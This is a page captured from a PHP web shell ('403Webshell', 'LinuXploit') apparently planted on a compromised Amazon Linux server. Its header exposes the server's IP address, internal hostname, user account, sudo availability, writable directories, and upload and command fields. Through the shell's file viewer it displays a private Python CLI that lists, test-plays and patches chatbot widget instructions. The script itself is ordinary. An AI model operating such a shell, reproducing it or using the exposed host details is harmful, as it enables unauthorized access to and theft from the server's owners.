403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/refine_widget.py
"""
Widget Refinement Helper

A small CLI used by the `refine-widget` skill to iteratively improve a widget's
`config.instructions` system prompt. It exercises the *existing* runtime endpoints
(it does not change any backend behavior):

  list                List a site's widgets (owned + system-wide) with id / storageId.
  show                Print one widget's full config JSON.
  play                Run ONE assistant turn for a widget through the real /chat
                      store+stream pipeline and print the reply (used to test-play a game).
  patch-instructions  Replace a widget's config.instructions and PATCH it. Handles both
                      site-owned widgets (via the /cms/widget/ endpoint) and system-wide
                      `fapi`-owned widgets (direct Drupal JSON:API PATCH, mirroring
                      create_widget.py's --system-wide path).

All commands resolve the site's cb_host from its slug and use it as the Origin header,
exactly like create_widget.py. Run on the server inside the api venv.

Examples:
    python refine_widget.py list --site jpt
    python refine_widget.py show --site jpt --id anagram-scramble
    python refine_widget.py play --site jpt --id anagram-scramble --conversation /tmp/turns.json
    python refine_widget.py patch-instructions --site jpt --id anagram-scramble \
        --instructions-file /tmp/new-instructions.txt

The --conversation file for `play` is a JSON array of turns, oldest first, e.g.:
    [{"role": "user", "body": "let's play"},
     {"role": "assistant", "body": "Sure! Here are your letters: ..."},
     {"role": "user", "body": "is it RIVER?"}]
The LAST turn must be role "user" (the current move); earlier turns become the history.
"""

import argparse
import asyncio
import json
import os
import sys
from pathlib import Path

from dotenv import load_dotenv
load_dotenv(dotenv_path=Path(__file__).parent / '.env')

import requests

API_BASE = "http://127.0.0.1:8000/api/v1"

# Stream markers (mirror app.appTypes.Constants)
CB_NEW_LINE = "__chatbot_br__"
CB_END_STREAM = "__chatbot_end__"


def resolve_cb_host(site_slug: str) -> str:
    from app.services.site_config_service import SiteConfigService
    service = SiteConfigService()
    site = service.get_site_by_slug(site_slug)
    if site:
        return site.cb_host
    all_slugs = sorted(s.slug for s in service.get_all_sites())
    print(f"Error: site '{site_slug}' not found. Available: {', '.join(all_slugs)}")
    sys.exit(1)


def fetch_widgets(cb_host: str) -> list:
    """Return the list of Widget dicts visible to the site (owned + system-wide)."""
    resp = requests.get(
        f"{API_BASE}/cms/widgets/",
        headers={"Origin": f"https://{cb_host}"},
        timeout=30,
    )
    resp.raise_for_status()
    return resp.json().get("data", [])


def find_widget(cb_host: str, widget_id: str) -> dict:
    widgets = fetch_widgets(cb_host)
    for w in widgets:
        if w.get("id") == widget_id or w.get("config", {}).get("card", {}).get("id") == widget_id:
            return w
    ids = ", ".join(w.get("id", "?") for w in widgets)
    print(f"Error: widget '{widget_id}' not found. Available ids: {ids}")
    sys.exit(1)


def cmd_list(args):
    cb_host = resolve_cb_host(args.site)
    for w in fetch_widgets(cb_host):
        scope = "system-wide" if w.get("systemWide") else "site"
        print(f"{w.get('name')}  |  id={w.get('id')}  |  storageId={w.get('storageId')}  |  {scope}")


def cmd_show(args):
    cb_host = resolve_cb_host(args.site)
    w = find_widget(cb_host, args.id)
    print(json.dumps(w.get("config", {}), indent=2))


def cmd_play(args):
    """Run a single assistant turn through the real chat store+stream endpoints."""
    cb_host = resolve_cb_host(args.site)
    w = find_widget(cb_host, args.id)
    config = w.get("config", {})
    instructions = config.get("instructions", "You are a helpful assistant.")
    model = config.get("model", {}) or {}
    # The /chat pipeline serves OpenAI models only; a widget set to a Claude model
    # won't stream. --model overrides the name so the instructions can be test-played
    # against a working model (instruction behavior is what we're tuning).
    if getattr(args, "model", None):
        model = {**model, "name": args.model}

    turns = json.loads(Path(args.conversation).read_text())
    if not turns or turns[-1].get("role") != "user":
        print("Error: the last turn in --conversation must have role 'user'.")
        sys.exit(1)

    history = turns[:-1]
    current_body = turns[-1]["body"]
    conversation = [
        {"userId": 1 if t.get("role") == "assistant" else 0, "body": t.get("body", "")}
        for t in history
    ]

    payload = {
        "userId": 0,
        "body": current_body,
        "instructions": instructions,
        "conversation": conversation,
        "model": model,
    }

    store = requests.post(f"{API_BASE}/chat/store/", json=payload, timeout=30)
    store.raise_for_status()
    key = store.json()["message"]

    reply_parts = []
    try:
        with requests.get(f"{API_BASE}/chat/stream/{key}", stream=True, timeout=120) as stream:
            stream.raise_for_status()
            for raw in stream.iter_lines(decode_unicode=True):
                if not raw or not raw.startswith("data: "):
                    continue
                token = raw[len("data: "):]
                if token == CB_END_STREAM:
                    break
                reply_parts.append(token.replace(CB_NEW_LINE, "\n"))
    except requests.exceptions.ChunkedEncodingError:
        # Server closed the stream early — usually a model error (e.g. a Claude model
        # name on the OpenAI-only /chat pipeline; pass --model gpt-5.5).
        if not reply_parts:
            print("ERROR: stream ended with no content (model error? try --model gpt-5.5)",
                  file=sys.stderr)
            sys.exit(1)

    print("".join(reply_parts))


def _patch_systemwide(storage_id: str, config: dict, shared: bool, title: str):
    """Direct Drupal JSON:API PATCH for an fapi-owned (system-wide) widget node."""
    from app.services.drupal import DrupalService

    drupal_host = os.getenv("DRUPAL_HOST")
    drupal_api = os.getenv("DRUPAL_API")

    async def _patch():
        service = DrupalService()
        session = requests.Session()
        try:
            login_data = await service.login(session)
            logout_token = login_data.get("logout_token")
            csrf_token = await service.get_csrf_token(session)
            headers = {
                "Content-Type": "application/vnd.api+json",
                "X-CSRF-Token": csrf_token,
                "Authorization": f"Bearer {csrf_token}",
            }
            node_data = {
                "data": {
                    "type": "node--widget",
                    "id": storage_id,
                    "attributes": {
                        "title": title,
                        "field_shared2": shared,
                        "body": {"value": json.dumps(config), "format": "plain_text"},
                    },
                }
            }
            url = f"{drupal_host}{drupal_api}/node/widget/{storage_id}"
            resp = session.patch(url, headers=headers, json=node_data)
            await service.logout(session, logout_token)
            return resp
        finally:
            session.close()

    return asyncio.run(_patch())


def _patch_widget(cb_host: str, w: dict, config: dict):
    """PATCH a widget's config, auto-routing system-wide vs site-owned. Returns (ok, msg)."""
    title = config.get("card", {}).get("title", w.get("name", "widget"))
    shared = w.get("shared", True)

    if w.get("systemWide"):
        # fapi-owned: the /cms/widget/ endpoint enforces site ownership and would 403,
        # so patch the Drupal node directly.
        resp = _patch_systemwide(w["storageId"], config, shared, title)
        if resp.status_code == 200:
            return True, "ok"
        return False, f"Error {resp.status_code}: {resp.text}"

    # Site-owned widget: go through the ownership-checked /cms/widget/ endpoint.
    body = {
        "widget": {
            "storageId": w["storageId"],
            "config": config,
            "shared": shared,
            "name": w.get("name", title),
            "id": w.get("id", ""),
            "category": w.get("category", ""),
            "enabled": w.get("enabled", True),
            "hidden": w.get("hidden", False),
        }
    }
    resp = requests.patch(
        f"{API_BASE}/cms/widget/",
        json=body,
        headers={"Origin": f"https://{cb_host}", "Content-Type": "application/json"},
        timeout=30,
    )
    if resp.status_code in (200, 201):
        return True, "ok"
    return False, f"Error {resp.status_code}: {resp.text}"


def cmd_patch_instructions(args):
    cb_host = resolve_cb_host(args.site)
    w = find_widget(cb_host, args.id)
    config = w.get("config", {})
    config["instructions"] = Path(args.instructions_file).read_text()
    ok, msg = _patch_widget(cb_host, w, config)
    if ok:
        print(f"Widget '{args.id}' instructions updated.")
    else:
        print(msg)
        sys.exit(1)


def cmd_migrate_langchain(args):
    """Flip eligible chat widgets onto the multi-provider LangChain streaming path.

    Both useLangChain and streamedResponses are required: streamedResponses gates
    sendStreamedMessage (messenger-base.ts) and useLangChain selects the /chat-lc path.
    Widgets using quizMode or useStructuredOutput are intentionally OpenAI-only and skipped.
    """
    cb_host = resolve_cb_host(args.site)
    seen = set()
    flipped = skipped = failed = 0
    for w in fetch_widgets(cb_host):
        sid = w.get("storageId")
        if not sid or sid in seen:
            continue
        seen.add(sid)
        config = w.get("config", {})
        feats = config.setdefault("features", {})
        name = w.get("name") or w.get("id") or sid

        if feats.get("quizMode") or feats.get("useStructuredOutput"):
            print(f"skip  {name}  (quiz/structured - OpenAI-only)")
            skipped += 1
            continue
        if feats.get("useLangChain") and feats.get("streamedResponses"):
            print(f"ok    {name}  (already LangChain)")
            skipped += 1
            continue
        if args.dry_run:
            print(f"WOULD flip  {name}")
            flipped += 1
            continue

        feats["useLangChain"] = True
        feats["streamedResponses"] = True
        ok, msg = _patch_widget(cb_host, w, config)
        if ok:
            print(f"flip  {name}  -> useLangChain + streamedResponses")
            flipped += 1
        else:
            print(f"FAIL  {name}: {msg}")
            failed += 1

    verb = "would flip" if args.dry_run else "flipped"
    print(f"\n{verb} {flipped}; skipped {skipped}; failed {failed}.")
    if failed:
        sys.exit(1)


def main():
    parser = argparse.ArgumentParser(description="Refine a widget's instructions")
    parser.add_argument("--env", default=os.getenv("TSAI_ENV", "development"),
                        choices=["development", "production", "scike_ai"],
                        help="Environment (default: TSAI_ENV)")
    sub = parser.add_subparsers(dest="command", required=True)

    p_list = sub.add_parser("list", help="List a site's widgets")
    p_list.add_argument("--site", required=True)
    p_list.set_defaults(func=cmd_list)

    p_show = sub.add_parser("show", help="Print a widget's full config")
    p_show.add_argument("--site", required=True)
    p_show.add_argument("--id", required=True, help="Widget card.id")
    p_show.set_defaults(func=cmd_show)

    p_play = sub.add_parser("play", help="Run one assistant turn for a widget")
    p_play.add_argument("--site", required=True)
    p_play.add_argument("--id", required=True, help="Widget card.id")
    p_play.add_argument("--conversation", required=True, help="Path to JSON turns file")
    p_play.add_argument("--model", default=None,
                        help="Override the model name (the /chat pipeline serves OpenAI "
                             "models only; e.g. gpt-5.5)")
    p_play.set_defaults(func=cmd_play)

    p_patch = sub.add_parser("patch-instructions", help="Replace a widget's instructions")
    p_patch.add_argument("--site", required=True)
    p_patch.add_argument("--id", required=True, help="Widget card.id")
    p_patch.add_argument("--instructions-file", required=True,
                         help="Path to a text file with the new instructions")
    p_patch.set_defaults(func=cmd_patch_instructions)

    p_mig = sub.add_parser("migrate-langchain",
                           help="Flip eligible chat widgets to useLangChain + streamedResponses")
    p_mig.add_argument("--site", required=True,
                       help="A site slug to resolve the Origin (system-wide widgets are "
                            "covered from any one site)")
    p_mig.add_argument("--dry-run", action="store_true", help="Print the plan without patching")
    p_mig.set_defaults(func=cmd_migrate_langchain)

    args = parser.parse_args()
    os.environ["TSAI_ENV"] = args.env
    args.func(args)


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit